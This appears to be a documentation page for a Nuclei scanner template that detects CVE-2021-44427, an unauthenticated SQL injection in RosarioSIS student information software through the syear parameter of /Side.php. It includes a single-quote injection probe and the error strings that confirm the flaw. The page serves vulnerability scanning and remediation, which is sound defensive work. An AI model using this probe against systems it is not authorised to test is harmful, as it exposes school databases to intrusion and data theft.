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Rosario Student Information System Unauthenticated SQL Injection

ID: CVE-2021-44427

Severity: critical

Author: furkansayim,xShuden

Tags: cve,cve2021,sqli,rosariosis

Description

Section titled “Description”

An unauthenticated SQL injection vulnerability in Rosario Student Information System (aka rosariosis) 8.1 and below allow remote attackers to execute PostgreSQL statements (e.g., SELECT, INSERT, UPDATE, and DELETE) through /Side.php via the syear parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2021-44427


info:
  name: Rosario Student Information System Unauthenticated SQL Injection
  author: furkansayim,xShuden
  severity: critical
  description: An unauthenticated SQL injection vulnerability in Rosario Student Information System (aka rosariosis) 8.1 and below allow remote attackers to execute PostgreSQL statements (e.g., SELECT, INSERT, UPDATE, and DELETE) through /Side.php via the syear parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database, modify data, or execute arbitrary SQL commands.
  remediation: Upgrade to version 8.1.1 or higher.
  reference:
    - https://gitlab.com/francoisjacquet/rosariosis/-/issues/328
    - https://twitter.com/RemotelyAlerts/status/1465697928178122775
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44427
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-44427
    cwe-id: CWE-89
    epss-score: 0.04431
    epss-percentile: 0.92396
    cpe: cpe:2.3:a:rosariosis:rosariosis:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rosariosis
    product: rosariosis
  tags: cve,cve2021,sqli,rosariosis


http:
  - method: POST
    path:
      - "{{BaseURL}}/Side.php"


    body: "sidefunc=update&syear=111'"


    headers:
      Content-Type: application/x-www-form-urlencoded; charset=utf-8


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB Execute Failed. ERROR:"
          - "unterminated quoted string"
        condition: and


      - type: word
        part: header
        words:
          - "RosarioSIS="


      - type: status
        status:
          - 200
# digest: 4a0a0047304502206b62ed872d64efd32ce3f9ad85cee94aa50281579bc185ddfea20d2aeb355a12022100eff60d51153722f5d662cc1a6ecbe712dcb60d1c0f969be969056a7935e28394:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-44427.yaml"

View on Github